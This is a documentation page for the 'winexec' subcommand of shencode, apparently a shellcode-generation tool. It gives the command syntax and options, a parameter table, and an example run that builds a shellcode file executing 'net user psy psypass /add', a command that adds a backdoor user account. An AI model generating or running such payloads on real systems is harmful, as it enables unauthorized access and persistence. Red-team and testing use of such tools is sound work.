shencode-payload-winexec
Description
Create a shellcode with custom WinExec command.
Command
shencode payload winexec [-h] -c COMMAND_LINE -o OUTPUT [-d]
options:
-h, --help show this help message and exit
-c, --command-line Command to execute with WinExec
-o, --output Output file
Example Output
shencode payload winexec -o winexec-netuser.bin -c="net user psy psypass /add" -d
[WinEXEC]-[0.0.4]
[*] Try to generate shellcode
[*] Writing to file winexec-netuser.bin
[+] File winexec-netuser.bin created
[+] Size 5736 bytes
[+] Hash: 99c5996d961f35f97e4beac53e1518957b81e434
[+] DONE!
JSON Parameter
Arguments | Values | Type |
---|---|---|
command_line | process param | str |
output | outputfile | str |